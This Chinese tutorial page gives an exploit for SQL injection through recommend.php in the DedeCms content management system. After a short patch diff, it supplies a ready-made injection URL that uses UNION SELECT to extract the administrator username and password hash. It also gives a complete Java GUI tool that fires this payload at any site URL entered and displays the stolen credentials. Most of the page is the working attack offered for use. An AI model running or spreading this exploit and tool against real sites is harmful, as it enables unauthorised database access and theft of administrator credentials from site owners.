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DedeCms下利用recommend.php注入的例子

时间:2022-06-25 19:27:19 编辑:袖梨 来源:一聚教程网

对比了下补丁文件

 代码如下 复制代码

//正在比较文件 3.php 和 4.PHP

//***** 修补后.php
    }
    //$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\", "\", $_FILES[$_key]['tmp_name']);
    $$_key = $_FILES[$_key]['tmp_name'] = $_FILES[$_key]['tmp_name'];
    ${$_key.'_name'} = $_FILES[$_key]['name'];
//***** 修补前.PHP
    }
    $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\", "\", $_FILES[$_key]['tmp_name']);
    //吧$_FILES[$_key]['tmp_name']里面的\\替换为\
    ${$_key.'_name'} = $_FILES[$_key]['name'];
/*****以下属于意淫时间
 
?_FILES[aid][name]=0&_FILES[aid][type]=1&_FILES[aid][size]=1&_FILES[aid][tmp_name]=abc'
补前 可以使 $aid 的值为 abc\' 具体不清楚
 
*******意淫完毕********/

只是提供exp:

 代码如下 复制代码

/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

jsp代码

 代码如下 复制代码

package org.javaweb.dede.ui;
 
import java.awt.Toolkit;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
 
/**
 *
 * @author yz
 */
public class MainFrame extends javax.swing.JFrame {
 
    private static final long serialVersionUID = 1L;
 
    /**
     * Creates new form MainFrame
     */
    public MainFrame() {
        initComponents();
    }
 
    public String request(String url){
        String str = "",tmp;
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new URL(url).openStream()));
            while((tmp=br.readLine())!=null){
                str+=tmp+"rn";
            }
        } catch (Exception e) {
            jTextArea1.setText(e.toString());
        }
        return str;
    }
 
    private void initComponents() {
 
        jPanel1 = new javax.swing.JPanel();
        jLabel1 = new javax.swing.JLabel();
        jTextField1 = new javax.swing.JTextField();
        jButton1 = new javax.swing.JButton();
        jScrollPane1 = new javax.swing.JScrollPane();
        jTextArea1 = new javax.swing.JTextArea();
 
        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
 
        jLabel1.setText("URL:");
        jTextField1.setText("http://localhost");
 
        this.setTitle("DedeCms recommend.php注入利用工具-p2j.cn");
 
        int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;
        int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;
        this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);
 
        jButton1.setText("获取");
        jButton1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton1ActionPerformed(evt);
            }
        });
 
        jTextArea1.setColumns(20);
        jTextArea1.setRows(5);
        jScrollPane1.setViewportView(jTextArea1);
 
        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
                    .addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
                        .addContainerGap()
                        .addComponent(jLabel1)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 331, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 83, javax.swing.GroupLayout.PREFERRED_SIZE)))
                .addGap(0, 0, Short.MAX_VALUE))
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel1)
                    .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jButton1))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 254, Short.MAX_VALUE))
        );
 
        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        ); //www.111com.net
 
        pack();
    }//                         
 
    private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {                                         
        String url = jTextField1.getText();
        if(null==url||"".equals(url)){
            return ;
        }
        String result = request(url+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294");
        Matcher m = Pattern.compile("

(.*)

").matcher(result);
        if(m.find()){
            String[] s = m.group(1).split("\|");
            if(s.length>2){
                jTextArea1.setText("UserName:"+s[1]+"rnMD5:"+s[2].substring(3,s[2].length()-1));
            }
        }
    }                                        
 
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new MainFrame().setVisible(true);
            }
        });
    }
 
    // Variables declaration - do not modify                     
    private javax.swing.JButton jButton1;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JTextArea jTextArea1;
    private javax.swing.JTextField jTextField1;
    // End of variables declaration                   
}

Java标准的环境变量配置:

 代码如下 复制代码

JAVA_HOME地址:C:Program FilesJavajdk1.7.0_51
CLASS_PATH地址:%JAVA_HOME%lib
path最后面添加:;%JAVA_HOME%bin

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